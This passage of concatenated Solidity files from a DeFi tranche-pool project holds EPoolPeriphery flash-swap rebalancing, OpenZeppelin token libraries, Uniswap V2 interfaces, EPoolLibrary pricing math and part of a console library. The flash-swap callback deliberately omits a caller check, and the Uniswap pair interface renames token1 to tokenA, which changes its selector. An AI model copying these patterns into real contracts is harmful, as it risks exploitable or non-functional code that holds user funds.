override returns (bool) { require(ePools[address(ePool)], "EPoolPeriphery: unapproved EPool"); (address tokenA, address tokenB) = (address(ePool.tokenA()), address(ePool.tokenB())); (uint256 deltaA, uint256 deltaB, uint256 rChange, ) = EPoolLibrary.delta( ePool.getTranches(), ePool.getRate(), ePool.sFactorA(), ePool.sFactorB() ); IUniswapV2Pair pair = IUniswapV2Pair(factory.getPair(address(tokenA), address(tokenB))); // map deltaA, deltaB to amountOut0, amountOut1 uint256 amountOut0; uint256 amountOut1; if (rChange == 0) { (amountOut0, amountOut1) = (address(tokenA) == pair.token0()) ? (uint256(0), deltaB) : (deltaB, uint256(0)); } else { (amountOut0, amountOut1) = (address(tokenA) == pair.token0()) ? (deltaA, uint256(0)) : (uint256(0), deltaA); } bytes memory data = abi.encode(ePool, fracDelta); pair.swap(amountOut0, amountOut1, address(this), data); return true; } /** * @notice rebalanceAllWithFlashSwap callback called by the uniswap pair * @dev Trusts that deltas are actually forwarded by the EPool. * Verifies that funds are forwarded from flash swap of the uniswap pair. * param sender Address of the flash swap initiator * param amount0 * param amount1 * @param data Data forwarded in the flash swap */ function uniswapV2Call( address /* sender */, // skip sender check, check for forwarded funds by flash swap is sufficient uint256 /* amount0 */, uint256 /* amount1 */, bytes calldata data ) external { (IEPool ePool, uint256 fracDelta) = abi.decode(data, (IEPool, uint256)); require(ePools[address(ePool)], "EPoolPeriphery: unapproved EPool"); // fails if no funds are forwarded in the flash swap callback from the uniswap pair // TokenA, TokenB are already approved (uint256 deltaA, uint256 deltaB, uint256 rChange, ) = ePool.rebalance(fracDelta); address[] memory path = new address[](2); // [0] flash swap repay token, [1] flash lent token uint256 amountsIn; // flash swap repay amount uint256 deltaOut; if (rChange == 0) { // release TokenA, add TokenB to EPool -> flash swap TokenB, repay with TokenA path[0] = address(ePool.tokenA()); path[1] = address(ePool.tokenB()); (amountsIn, deltaOut) = (router.getAmountsIn(deltaB, path)[0], deltaA); } else { // add TokenA, release TokenB to EPool -> flash swap TokenA, repay with TokenB path[0] = address(ePool.tokenB()); path[1] = address(ePool.tokenA()); (amountsIn, deltaOut) = (router.getAmountsIn(deltaA, path)[0], deltaB); } // if slippage is negative request subsidy, if positive top of KeeperSubsidyPool if (amountsIn > deltaOut) { require( amountsIn * EPoolLibrary.sFactorI / deltaOut <= maxFlashSwapSlippage, "EPoolPeriphery: excessive slippage" ); keeperSubsidyPool.requestSubsidy(path[0], amountsIn - deltaOut); } else if (amountsIn < deltaOut) { IERC20(path[0]).safeTransfer(address(keeperSubsidyPool), deltaOut - amountsIn); } // repay flash swap by sending amountIn to pair IERC20(path[0]).safeTransfer(msg.sender, amountsIn); } /** * @notice Recovers untracked amounts * @dev Can only called by an authorized sender * @param token Address of the token * @param amount Amount to recover * @return True on success */ function recover(IERC20 token, uint256 amount) external override onlyDao("EPool: not dao") returns (bool) { token.safeTransfer(msg.sender, amount); emit RecoveredToken(address(token), amount); return true; } /* ------------------------------------------------------------------------------------------------------- */ /* view and pure methods */ /* ------------------------------------------------------------------------------------------------------- */ function minInputAmountAForEToken( IEPool ePool, address eToken, uint256 amount ) external view returns (uint256 minTokenA) { (uint256 amountA, uint256 amountB) = EPoolLibrary.tokenATokenBForEToken( ePool.getTranche(eToken), amount, ePool.getRate(), ePool.sFactorA(), ePool.sFactorB() ); address[] memory path = new address[](2); path[0] = address(ePool.tokenA()); path[1] = address(ePool.tokenB()); minTokenA = amountA + router.getAmountsIn(amountB, path)[0]; } // does not include price impact, which would result in a smaller EToken amount function eTokenForMinInputAmountA_Unsafe( IEPool ePool, address eToken, uint256 minInputAmountA ) external view returns (uint256 amount) { IEPool.Tranche memory t = ePool.getTranche(eToken); uint256 rate = ePool.getRate(); uint256 sFactorA = ePool.sFactorA(); uint256 sFactorB = ePool.sFactorB(); uint256 ratio = EPoolLibrary.currentRatio(t, rate, sFactorA, sFactorB); (uint256 amountAIdeal, uint256 amountBIdeal) = EPoolLibrary.tokenATokenBForTokenA( minInputAmountA, ratio, rate, sFactorA, sFactorB ); return EPoolLibrary.eTokenForTokenATokenB(t, amountAIdeal, amountBIdeal, rate, sFactorA, sFactorB); } function minInputAmountBForEToken( IEPool ePool, address eToken, uint256 amount ) external view returns (uint256 minTokenB) { (uint256 amountA, uint256 amountB) = EPoolLibrary.tokenATokenBForEToken( ePool.getTranche(eToken), amount, ePool.getRate(), ePool.sFactorA(), ePool.sFactorB() ); address[] memory path = new address[](2); path[0] = address(ePool.tokenB()); path[1] = address(ePool.tokenA()); minTokenB = amountB + router.getAmountsIn(amountA, path)[0]; } // does not include price impact, which would result in a smaller EToken amount function eTokenForMinInputAmountB_Unsafe( IEPool ePool, address eToken, uint256 minInputAmountB ) external view returns (uint256 amount) { IEPool.Tranche memory t = ePool.getTranche(eToken); uint256 rate = ePool.getRate(); uint256 sFactorA = ePool.sFactorA(); uint256 sFactorB = ePool.sFactorB(); uint256 ratio = EPoolLibrary.currentRatio(t, rate, sFactorA, sFactorB); (uint256 amountAIdeal, uint256 amountBIdeal) = EPoolLibrary.tokenATokenBForTokenB( minInputAmountB, ratio, rate, sFactorA, sFactorB ); return EPoolLibrary.eTokenForTokenATokenB(t, amountAIdeal, amountBIdeal, rate, sFactorA, sFactorB); } function maxOutputAmountAForEToken( IEPool ePool, address eToken, uint256 amount ) external view returns (uint256 maxTokenA) { (uint256 amountA, uint256 amountB) = EPoolLibrary.tokenATokenBForEToken( ePool.getTranche(eToken), amount, ePool.getRate(), ePool.sFactorA(), ePool.sFactorB() ); uint256 feeRate = ePool.feeRate(); amountA = amountA - amountA * feeRate / EPoolLibrary.sFactorI; amountB = amountB - amountB * feeRate / EPoolLibrary.sFactorI; address[] memory path = new address[](2); path[0] = address(ePool.tokenB()); path[1] = address(ePool.tokenA()); maxTokenA = amountA + router.getAmountsOut(amountB, path)[1]; } function maxOutputAmountBForEToken( IEPool ePool, address eToken, uint256 amount ) external view returns (uint256 maxTokenB) { (uint256 amountA, uint256 amountB) = EPoolLibrary.tokenATokenBForEToken( ePool.getTranche(eToken), amount, ePool.getRate(), ePool.sFactorA(), ePool.sFactorB() ); uint256 feeRate = ePool.feeRate(); amountA = amountA - amountA * feeRate / EPoolLibrary.sFactorI; amountB = amountB - amountB * feeRate / EPoolLibrary.sFactorI; address[] memory path = new address[](2); path[0] = address(ePool.tokenA()); path[1] = address(ePool.tokenB()); maxTokenB = amountB + router.getAmountsOut(amountA, path)[1]; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC20.sol"; import "../../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: Apache-2.0 pragma solidity ^0.8.1; pragma experimental ABIEncoderV2; interface IKeeperSubsidyPool { function getController() external view returns (address); function setController(address _controller) external returns (bool); function setBeneficiary(address beneficiary, bool canRequest) external returns (bool); function isBeneficiary(address beneficiary) external view returns (bool); function requestSubsidy(address token, uint256 amount) external returns (bool); } // SPDX-License-Identifier: GNU pragma solidity >=0.6.2; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } // SPDX-License-Identifier: GNU pragma solidity >=0.5.0; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed tokenA, address pair, uint); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function createPair(address tokenA, address tokenB) external returns (address pair); } // SPDX-License-Identifier: GNU pragma solidity >=0.5.0; interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amountA); event Burn(address indexed sender, uint amount0, uint amountA, address indexed to); event Swap( address indexed sender, uint amount0In, uint amountAIn, uint amount0Out, uint amountAOut, address indexed to ); event Sync(uint112 reserve0, uint112 reserveA); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function tokenA() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserveA, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amountA); function swap(uint amount0Out, uint amountAOut, address to, bytes calldata data) external; function skim(address to) external; function sync() external; } // SPDX-License-Identifier: Apache-2.0 pragma solidity ^0.8.1; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; interface IEToken is IERC20 { function getController() external view returns (address); function setController(address _controller) external returns (bool); function mint(address account, uint256 amount) external returns (bool); function burn(address account, uint256 amount) external returns (bool); function recover(IERC20 token, uint256 amount) external returns (bool); } // SPDX-License-Identifier: Apache-2.0 pragma solidity ^0.8.1; pragma experimental ABIEncoderV2; import "./IKeeperSubsidyPool.sol"; import "./IUniswapRouterV2.sol"; import "./IUniswapFactory.sol"; import "./IEPool.sol"; interface IEPoolPeriphery { function getController() external view returns (address); function setController(address _controller) external returns (bool); function factory() external view returns (IUniswapV2Factory); function router() external view returns (IUniswapV2Router01); function ePools(address) external view returns (bool); function keeperSubsidyPool() external view returns (IKeeperSubsidyPool); function maxFlashSwapSlippage() external view returns (uint256); function setEPoolApproval(IEPool ePool, bool approval) external returns (bool); function setMaxFlashSwapSlippage(uint256 _maxFlashSwapSlippage) external returns (bool); function issueForMaxTokenA( IEPool ePool, address eToken, uint256 amount, uint256 maxInputAmountA, uint256 deadline ) external returns (bool); function issueForMaxTokenB( IEPool ePool, address eToken, uint256 amount, uint256 maxInputAmountB, uint256 deadline ) external returns (bool); function redeemForMinTokenA( IEPool ePool, address eToken, uint256 amount, uint256 minOutputA, uint256 deadline ) external returns (bool); function redeemForMinTokenB( IEPool ePool, address eToken, uint256 amount, uint256 minOutputB, uint256 deadline ) external returns (bool); function rebalanceWithFlashSwap(IEPool ePool, uint256 fracDelta) external returns (bool); function recover(IERC20 token, uint256 amount) external returns (bool); } // SPDX-License-Identifier: Apache-2.0 pragma solidity ^0.8.1; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "./IEToken.sol"; interface IEPool { struct Tranche { IEToken eToken; uint256 sFactorE; uint256 reserveA; uint256 reserveB; uint256 targetRatio; } function getController() external view returns (address); function setController(address _controller) external returns (bool); function tokenA() external view returns (IERC20); function tokenB() external view returns (IERC20); function sFactorA() external view returns (uint256); function sFactorB() external view returns (uint256); function getTranche(address eToken) external view returns (Tranche memory); function getTranches() external view returns(Tranche[] memory _tranches); function addTranche(uint256 targetRatio, string memory eTokenName, string memory eTokenSymbol) external returns (bool); function getAggregator() external view returns (address); function setAggregator(address oracle, bool inverseRate) external returns (bool); function rebalanceMinRDiv() external view returns (uint256); function rebalanceInterval() external view returns (uint256); function lastRebalance() external view returns (uint256); function feeRate() external view returns (uint256); function cumulativeFeeA() external view returns (uint256); function cumulativeFeeB() external view returns (uint256); function setFeeRate(uint256 _feeRate) external returns (bool); function transferFees() external returns (bool); function getRate() external view returns (uint256); function rebalance(uint256 fracDelta) external returns (uint256 deltaA, uint256 deltaB, uint256 rChange, uint256 rDiv); function issueExact(address eToken, uint256 amount) external returns (uint256 amountA, uint256 amountB); function redeemExact(address eToken, uint256 amount) external returns (uint256 amountA, uint256 amountB); function recover(IERC20 token, uint256 amount) external returns (bool); } // SPDX-License-Identifier: Apache-2.0 pragma solidity ^0.8.1; import "../interfaces/IController.sol"; contract ControllerMixin { event SetController(address controller); IController internal controller; constructor(IController _controller) { controller = _controller; } modifier onlyDao(string memory revertMsg) { require(msg.sender == controller.dao(), revertMsg); _; } modifier onlyDaoOrGuardian(string memory revertMsg) { require(controller.isDaoOrGuardian(msg.sender), revertMsg); _; } modifier issuanceNotPaused(string memory revertMsg) { require(controller.pausedIssuance() == false, revertMsg); _; } function _setController(address _controller) internal { controller = IController(_controller); emit SetController(_controller); } } // SPDX-License-Identifier: Apache-2.0 pragma solidity ^0.8.1; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "../interfaces/IERC20Optional.sol"; library TokenUtils { function decimals(IERC20 token) internal view returns (uint8) { (bool success, bytes memory data) = address(token).staticcall(abi.encodeWithSignature("decimals()")); require(success, "TokenUtils: no decimals"); uint8 _decimals = abi.decode(data, (uint8)); return _decimals; } } // SPDX-License-Identifier: Apache-2.0 pragma solidity ^0.8.1; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "./interfaces/IETokenFactory.sol"; import "./interfaces/IEToken.sol"; import "./interfaces/IEPool.sol"; import "./utils/TokenUtils.sol"; import "./utils/Math.sol"; library EPoolLibrary { using TokenUtils for IERC20; uint256 internal constant sFactorI = 1e18; // internal scaling factor (18 decimals) /** * @notice Returns the target ratio if reserveA and reserveB are 0 (for initial deposit) * currentRatio := (reserveA denominated in tokenB / reserveB denominated in tokenB) with decI decimals */ function currentRatio( IEPool.Tranche memory t, uint256 rate, uint256 sFactorA, uint256 sFactorB ) internal pure returns(uint256) { if (t.reserveA == 0 || t.reserveB == 0) { if (t.reserveA == 0 && t.reserveB == 0) return t.targetRatio; if (t.reserveA == 0) return 0; if (t.reserveB == 0) return type(uint256).max; } return ((t.reserveA * rate / sFactorA) * sFactorI) / (t.reserveB * sFactorI / sFactorB); } /** * @notice Returns the deviation of reserveA and reserveB from target ratio * currentRatio > targetRatio: release TokenA liquidity and add TokenB liquidity * currentRatio < targetRatio: add TokenA liquidity and release TokenB liquidity * deltaA := abs(t.reserveA, (t.reserveB / rate * t.targetRatio)) / (1 + t.targetRatio) * deltaB := deltaA * rate */ function trancheDelta( IEPool.Tranche memory t, uint256 rate, uint256 sFactorA, uint256 sFactorB ) internal pure returns (uint256 deltaA, uint256 deltaB, uint256 rChange) { rChange = (currentRatio(t, rate, sFactorA, sFactorB) < t.targetRatio) ? 1 : 0; deltaA = ( Math.abs(t.reserveA, tokenAForTokenB(t.reserveB, t.targetRatio, rate, sFactorA, sFactorB)) * sFactorA ) / (sFactorA + (t.targetRatio * sFactorA / sFactorI)); // (convert to TokenB precision first to avoid altering deltaA) deltaB = ((deltaA * sFactorB / sFactorA) * rate) / sFactorI; } /** * @notice Returns the sum of the tranches reserve deltas */ function delta( IEPool.Tranche[] memory ts, uint256 rate, uint256 sFactorA, uint256 sFactorB ) internal pure returns (uint256 deltaA, uint256 deltaB, uint256 rChange, uint256 rDiv) { uint256 totalReserveA; int256 totalDeltaA; int256 totalDeltaB; for (uint256 i = 0; i < ts.length; i++) { totalReserveA += ts[i].reserveA; (uint256 _deltaA, uint256 _deltaB, uint256 _rChange) = trancheDelta( ts[i], rate, sFactorA, sFactorB ); (totalDeltaA, totalDeltaB) = (_rChange == 0) ? (totalDeltaA - int256(_deltaA), totalDeltaB + int256(_deltaB)) : (totalDeltaA + int256(_deltaA), totalDeltaB - int256(_deltaB)); } if (totalDeltaA > 0) { (deltaA, deltaB, rChange) = (uint256(totalDeltaA), uint256(-totalDeltaB), 1); } else { (deltaA, deltaB, rChange) = (uint256(-totalDeltaA), uint256(totalDeltaB), 0); } rDiv = (totalReserveA == 0) ? 0 : deltaA * EPoolLibrary.sFactorI / totalReserveA; } /** * @notice how much EToken can be issued, redeemed for amountA and amountB * initial issuance / last redemption: sqrt(amountA * amountB) * subsequent issuances / non nullifying redemptions: claim on reserve * EToken total supply */ function eTokenForTokenATokenB( IEPool.Tranche memory t, uint256 amountA, uint256 amountB, uint256 rate, uint256 sFactorA, uint256 sFactorB ) internal view returns (uint256) { uint256 amountsA = totalA(amountA, amountB, rate, sFactorA, sFactorB); if (t.reserveA + t.reserveB == 0) { return (Math.sqrt((amountsA * t.sFactorE / sFactorA) * t.sFactorE)); } uint256 reservesA = totalA(t.reserveA, t.reserveB, rate, sFactorA, sFactorB); uint256 share = ((amountsA * t.sFactorE / sFactorA) * t.sFactorE) / (reservesA * t.sFactorE / sFactorA); return share * t.eToken.totalSupply() / t.sFactorE; } /** * @notice Given an amount of EToken, how much TokenA and TokenB have to be deposited, withdrawn for it * initial issuance / last redemption: sqrt(amountA * amountB) -> such that the inverse := EToken amount ** 2 * subsequent issuances / non nullifying redemptions: claim on EToken supply * reserveA/B */ function tokenATokenBForEToken( IEPool.Tranche memory t, uint256 amount, uint256 rate, uint256 sFactorA, uint256 sFactorB ) internal view returns (uint256 amountA, uint256 amountB) { if (t.reserveA + t.reserveB == 0) { uint256 amountsA = amount * sFactorA / t.sFactorE; (amountA, amountB) = tokenATokenBForTokenA( amountsA * amountsA / sFactorA , t.targetRatio, rate, sFactorA, sFactorB ); } else { uint256 eTokenTotalSupply = t.eToken.totalSupply(); if (eTokenTotalSupply == 0) return(0, 0); uint256 share = amount * t.sFactorE / eTokenTotalSupply; amountA = share * t.reserveA / t.sFactorE; amountB = share * t.reserveB / t.sFactorE; } } /** * @notice Given amountB, which amountA is required such that amountB / amountA is equal to the ratio * amountA := amountBInTokenA * ratio */ function tokenAForTokenB( uint256 amountB, uint256 ratio, uint256 rate, uint256 sFactorA, uint256 sFactorB ) internal pure returns(uint256) { return (((amountB * sFactorI / sFactorB) * ratio) / rate) * sFactorA / sFactorI; } /** * @notice Given amountA, which amountB is required such that amountB / amountA is equal to the ratio * amountB := amountAInTokenB / ratio */ function tokenBForTokenA( uint256 amountA, uint256 ratio, uint256 rate, uint256 sFactorA, uint256 sFactorB ) internal pure returns(uint256) { return (((amountA * sFactorI / sFactorA) * rate) / ratio) * sFactorB / sFactorI; } /** * @notice Given an amount of TokenA, how can it be split up proportionally into amountA and amountB * according to the ratio * amountA := total - (total / (1 + ratio)) == (total * ratio) / (1 + ratio) * amountB := (total / (1 + ratio)) * rate */ function tokenATokenBForTokenA( uint256 _totalA, uint256 ratio, uint256 rate, uint256 sFactorA, uint256 sFactorB ) internal pure returns (uint256 amountA, uint256 amountB) { amountA = _totalA - (_totalA * sFactorI / (sFactorI + ratio)); amountB = (((_totalA * sFactorI / sFactorA) * rate) / (sFactorI + ratio)) * sFactorB / sFactorI; } /** * @notice Given an amount of TokenB, how can it be split up proportionally into amountA and amountB * according to the ratio * amountA := (total * ratio) / (rate * (1 + ratio)) * amountB := total / (1 + ratio) */ function tokenATokenBForTokenB( uint256 _totalB, uint256 ratio, uint256 rate, uint256 sFactorA, uint256 sFactorB ) internal pure returns (uint256 amountA, uint256 amountB) { amountA = ((((_totalB * sFactorI / sFactorB) * ratio) / (sFactorI + ratio)) * sFactorA) / rate; amountB = (_totalB * sFactorI) / (sFactorI + ratio); } /** * @notice Return the total value of amountA and amountB denominated in TokenA * totalA := amountA + (amountB / rate) */ function totalA( uint256 amountA, uint256 amountB, uint256 rate, uint256 sFactorA, uint256 sFactorB ) internal pure returns (uint256 _totalA) { return amountA + ((((amountB * sFactorI / sFactorB) * sFactorI) / rate) * sFactorA) / sFactorI; } /** * @notice Return the total value of amountA and amountB denominated in TokenB * totalB := amountB + (amountA * rate) */ function totalB( uint256 amountA, uint256 amountB, uint256 rate, uint256 sFactorA, uint256 sFactorB ) internal pure returns (uint256 _totalB) { return amountB + ((amountA * rate / sFactorA) * sFactorB) / sFactorI; } /** * @notice Return the withdrawal fee for a given amount of TokenA and TokenB * feeA := amountA * feeRate * feeB := amountB * feeRate */ function feeAFeeBForTokenATokenB( uint256 amountA, uint256 amountB, uint256 feeRate ) internal pure returns (uint256 feeA, uint256 feeB) { feeA = amountA * feeRate / EPoolLibrary.sFactorI; feeB = amountB * feeRate / EPoolLibrary.sFactorI; } } // SPDX-License-Identifier: MIT pragma solidity >= 0.4.22 <0.9.0; library console { address constant CONSOLE_ADDRESS = address(0x000000000000000000636F6e736F6c652e6c6f67); function _sendLogPayload(bytes memory payload) private view { uint256 payloadLength = payload.length; address consoleAddress = CONSOLE_ADDRESS; assembly { let payloadStart := add(payload, 32) let r := staticcall(gas(), consoleAddress, payloadStart, payloadLength, 0, 0) } } function log() internal view { _sendLogPayload(abi.encodeWithSignature("log()")); } function logInt(int p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(int)", p0)); } function logUint(uint p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint)", p0)); } function logString(string memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(string)", p0)); } function logBool(bool p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool)", p0)); } function logAddress(address p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(address)", p0)); } function logBytes(bytes memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes)", p0)); } function logBytes1(bytes1 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes1)", p0)); } function logBytes2(bytes2 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes2)", p0)); } function logBytes3(bytes3 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes3)", p0)); } function logBytes4(bytes4 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes4)", p0)); } function logBytes5(bytes5 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes5)", p0)); } function logBytes6(bytes6 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes6)", p0)); } function logBytes7(bytes7 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes7)", p0)); } function logBytes8(bytes8 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes8)", p0)); } function logBytes9(bytes9 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes9)", p0)); } function logBytes10(bytes10 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes10)", p0)); } function logBytes11(bytes11 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes11)", p0)); } function logBytes12(bytes12 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes12)", p0)); } function logBytes13(bytes13 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes13)", p0)); } function logBytes14(bytes14 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes14)", p0)); } function logBytes15(bytes15 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes15)", p0)); } function logBytes16(bytes16 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes16)", p0)); } function logBytes17(bytes17 p0) internal view { 